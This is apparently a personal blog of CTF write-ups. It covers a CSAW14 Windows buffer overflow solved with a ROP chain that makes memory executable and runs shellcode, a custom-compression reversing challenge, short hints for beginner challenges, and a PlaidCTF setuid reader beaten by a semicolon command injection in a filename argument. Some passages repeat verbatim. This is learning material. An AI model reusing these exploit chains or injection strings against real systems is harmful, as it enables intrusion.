This was a windows exploitation challenge and was incredibly easy, overvalued and under solved.
When the binary is first run, or connected to, it asks for a password, it can be found with strings or just by looking at the dissassembly.
.text:00D8105C 414 push offset Str2 ; "GreenhornSecretPassword!!!"
.text:00D81061 418 lea ecx, [ebp+Str1]
.text:00D81067 418 push ecx ; Str1
.text:00D81068 41C call ds:strncmp
.text:00D8106E 41C add esp, 0Ch
.text:00D81071 410 test eax, eax
.text:00D81073 410 jz short loc_
After the password is successfully entered, you're presented with a menu.
Greenhorn Menu:
--------------
(D)ebugging
(S)tatic Analysis
S(h)ellcode
(A)SLR
(N)X/DEP
(V)ulnerability
(Q)uit
Selection:
There are two options on this menu that need to be used to exploit the vulnerability. The first option is the ASLR option. At the end of the text it presents you that describes how ASLR works on windows it contains the exebase-0x00400000 and ebp-08h. The exebase allows us to use ROP chains from the executable, and ebp-08h gives us a stack address we can use for offsets.
The actual vulnerability was a buffer overflow. The Vulnerability page asked for exactly 1024 bytes of data, the length of the buffer, but it read in 2048 bytes of data.
Besides ROP gadgets my ROP chain called two functions in the binary. The first did a call to VirtualAlloc that I could control to set flProtect to PAGE_EXECUTE_READWRITE and the second read in the shellcode to that new allocation.
.text:00D811C0 ; int __cdecl CallsVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flProtect, int *memAddr)
The way I called this function was CallsVirtualAlloc(NULL, 0x2048, PAGE_EXECUTE_READWRITE, stackAddr);
The address of the allocated memory would be stored in that last parameter.
The second function I called was
00D81600 ; int __cdecl ReadBytes(char *destBuffer, int nBytes, char stopChar)
It would read either nBytes or until it encountered stopChar from stdin into the destBuffer. When connecting remotely stdin/out was redirected to the socket.
My ROP chain ended up being
ropstack = padr(0x00D811C0) #Calls virtual alloc
ropstack += padr(0x00D81204) #VirtualAlloc ret addr, add esp 0Ch; mov eax, [ebp+8]; pop ebp; retn;
#That ROP chain effectively doess add esp, 10h;
ropstack += pvar(0x00000000) #lpAddress
ropstack += pvar(0x00002048) #dwSize)
ropstack += pvar(0x00000040) #PAGE_EXE_RW
ropstack += pvar(stack-0x400)#where to store ret addr
ropstack += padr(0x00D81DA6) #pop ecx; pop ebp; retn
#we need to set ECX to a dereferenceable address so that the next ROP chain doesn't crash
ropstack += pvar(stack-0x300)#ecx value
ropstack += pvar(stack+0x0C) #ebp value
ropstack += padr(0x00D811DD) #mov [ecx], eax; mov edx, [ebp+14h]; mov eax, [edx]; pop ebp; retn;
#This ROP gadget lets me get the address of the allocated memory off of the stack
#and into a register
ropstack += pvar(stack+0x54) #ebp value
ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;
#I used this rop chain twice to overwrite the parameters passed to ReadBytes
#below
ropstack += padr(0x00D811E2) #mov eax, [edx]; pop ebp; retn;
ropstack += pvar(stack+0x58) #ebp value
ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;
ropstack += padr(0x00D81600) #ReadBytes
ropstack += pvar(stack-0x400) #ReadBytes return address(overwritten)
ropstack += pvar(stack-0x400) #DestBuffer(overwritten)
ropstack += pvar(len(shellcode))
ropstack += pvar(0x000000090) #stop char
Full script here
padr() fixes an address for the ASLR slide and packs it, pvar() is just used to the text lines up nicely.
That will get you shellcode execution, the script has a small amount of shellcode embedded in it which gets the base address of kernel32 and places it into EAX. I wrote my shellcode in C and compiled it with MSVC and then extracted the machinecode into a file called gnarlyshellcode. My shellcode walked kernel32's export directory and got the address of the functions CreateFileA, ReadFile, WriteFile, and GetStdHandle. After which the process to send the flag to stdout/socket was very simple.
HANDLE hKeyFile = CreateFileA("key", GENERIC_READ, 7, NULL, 4, FILE_ATTRIBUTE_NORMAL, NULL);
char keyData[100];
ReadFile(hKeyFile, &keyData, 100, NULL, NULL);
WriteFile(GetStdHandle(-11), keyData, 100, NULL, NULL);
MMavipc's RE Blog
Monday, September 22, 2014
CSAW14 Reverse Engineering 300 - Weissman Write-Up
This challenge consisted of a mystery file, weissman.csawlz that you had to extract the key out of somehow. Going from the extension it was some sort of compressed archive format. I started it after the hint was given out which confirmed that it was. The hint was
HINT:
CSAWLZ is a completely custom format! You won't find decompressing tools on the internet. We made it just for you. :)
typedef struct _hdr {
uint8_t magic[8];
uint32_t version;
uint32_t num_files;
} hdr;
typedef struct _entry {
uint32_t magic;
uint32_t compressed_size;
uint32_t uncompressed_size;
uint8_t filename[32];
} entry;
Using that hint I wrote a very simple program that separated the different compressed files for easier viewing in a hex editor. After staring at it for an hour and a half, I figured out the data was encoded. The first byte encoded the length of the run and whether or not the run was compressed. If the run was compressed, the next two bytes were a hash of a previous run that contained the data for this run. There was no way to know what hashing algorithm was used, so this challenge was impossible to complete non-hackily.
Read byte
If byte&1, the next run is uncompressed
Length = byte>>1
If the next run is uncompressed, write the uncompressed bytes to file. If the next run is compressed, write NULLs instead.
After decompressing the files as best I could, I ended up with a corrupted key.jpeg. I downloaded JPEG Recovery Pro 5 trial and let it do it's magic on the JPEG and I ended up with two JPEGs.
and
Enough of the key was visible in both of these JPEGs for me to submit it and get the points for my team. The key ended up being
key{ I know how long it'd take me, and I can prove it }
HINT:
CSAWLZ is a completely custom format! You won't find decompressing tools on the internet. We made it just for you. :)
typedef struct _hdr {
uint8_t magic[8];
uint32_t version;
uint32_t num_files;
} hdr;
typedef struct _entry {
uint32_t magic;
uint32_t compressed_size;
uint32_t uncompressed_size;
uint8_t filename[32];
} entry;
Using that hint I wrote a very simple program that separated the different compressed files for easier viewing in a hex editor. After staring at it for an hour and a half, I figured out the data was encoded. The first byte encoded the length of the run and whether or not the run was compressed. If the run was compressed, the next two bytes were a hash of a previous run that contained the data for this run. There was no way to know what hashing algorithm was used, so this challenge was impossible to complete non-hackily.
Read byte
If byte&1, the next run is uncompressed
Length = byte>>1
If the next run is uncompressed, write the uncompressed bytes to file. If the next run is compressed, write NULLs instead.
After decompressing the files as best I could, I ended up with a corrupted key.jpeg. I downloaded JPEG Recovery Pro 5 trial and let it do it's magic on the JPEG and I ended up with two JPEGs.
and
Enough of the key was visible in both of these JPEGs for me to submit it and get the points for my team. The key ended up being
key{ I know how long it'd take me, and I can prove it }
CSAW14 Noob Challenge Write-Ups
Exploitation 100, Reverse Engineering 100, 200, and Forensics 100 can all be solved by running strings, the key will be plainly visible. RE100 is slightly evil though, if you actually run it, it will start a fork bomb.
The solution to Exploitation 200 can be found by googling "breaking out of python sandbox". You'll end up at https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/ and after scrolling down a bit you will find the exact command you need to enter to get the flag.
Forensics 200-sftp's solution is to simply extract the ZIP file data out of the plain ftp stream, inside is a flag.png which contains the flag.
Forensics 200-Obscurity can be solved by uploading the PDF to Google Docs and converting it to a Google doc. The hidden text which contains the key will be clearly visible at the bottom of the document.
Networking 100's flag is clearly visible in the telnet stream in the pcap. Most people got hung up because they thought the flag would be in the BitTorrent traffic.
The solution to Exploitation 200 can be found by googling "breaking out of python sandbox". You'll end up at https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/ and after scrolling down a bit you will find the exact command you need to enter to get the flag.
Forensics 200-sftp's solution is to simply extract the ZIP file data out of the plain ftp stream, inside is a flag.png which contains the flag.
Forensics 200-Obscurity can be solved by uploading the PDF to Google Docs and converting it to a Google doc. The hidden text which contains the key will be clearly visible at the bottom of the document.
Networking 100's flag is clearly visible in the telnet stream in the pcap. Most people got hung up because they thought the flag would be in the BitTorrent traffic.
Sunday, April 28, 2013
PlaidCTF secure_reader
Target: Linux box with a flag
Secure_reader was the easiest pwning challenge, at 150 points. As I no longer have access to the box, terminal I/O will be fake.
I ran secure_reader and reader to see what would happen.
>./reader
Syntax: ./reader <file>
>./reader flag
File is not in a whitelisted directory!
>./secure_reader flag
Must be run by /home/securereader/reader!
>/home/securereader/reader /tmp/flag
Must be run by /home/securereader/reader!
How strange, even though secure_reader is getting called by reader it is still saying it is not. After looking at the disassembly of secure_reader and reader, I figured out that it was because reader invokes secure_reader via system(). This causes the parent process of secure_reader to be a shell, and not reader. Since it's a setuid process, we can't use GDB to patch the call to system with a call to exec, but what we can do is inject commands into the spawned shell. The exec command will do nicely, it runs an executable with the parent process of the shell. The parent process of the shell is reader, so secure_reader's check should pass. To inject commands into the shell, all we have to do is add a semicolon somewhere in the filename, after which will be new commands to run. I don't remember why I used the environment variables, but it worked, didn't it?
Secure_reader was the easiest pwning challenge, at 150 points. As I no longer have access to the box, terminal I/O will be fake.
Situation
When you ssh into the box, you find 3 files inside /home/securereader: reader(ELF) secure_reader(ELF) and flag(plaintext). The flag was only readable by the securereader user, secure_reader was a setuid executable, and reader was just a plain ol' executable.I ran secure_reader and reader to see what would happen.
>./reader
Syntax: ./reader <file>
>./reader flag
File is not in a whitelisted directory!
>./secure_reader flag
Must be run by /home/securereader/reader!
Pwning
So I opened up reader in my favorite disassembler, and found out the only whitelisted directories are /tmp. After looking around /tmp, I see /tmp/flag with the same filesize and permissions as /home/securereader/flag. I'm unsure as to whether it was inside /tmp from the start, or if previous solvers had managed to get it there, but that didn't matter, I was there to read the flag, not worry about how it got there.>/home/securereader/reader /tmp/flag
Must be run by /home/securereader/reader!
How strange, even though secure_reader is getting called by reader it is still saying it is not. After looking at the disassembly of secure_reader and reader, I figured out that it was because reader invokes secure_reader via system(). This causes the parent process of secure_reader to be a shell, and not reader. Since it's a setuid process, we can't use GDB to patch the call to system with a call to exec, but what we can do is inject commands into the spawned shell. The exec command will do nicely, it runs an executable with the parent process of the shell. The parent process of the shell is reader, so secure_reader's check should pass. To inject commands into the shell, all we have to do is add a semicolon somewhere in the filename, after which will be new commands to run. I don't remember why I used the environment variables, but it worked, didn't it?
teamXXX@securereader:/tmp$ PATH="/home/securereader:$PATH" flag="/tmp/flag" /home/securereader/reader "/tmp/234;exec secure_reader \$flag"
This may only be called by /home/securereader/reader
that_was_totally_a_good_idea
Yay! Got the flag!
Subscribe to:
Posts (Atom)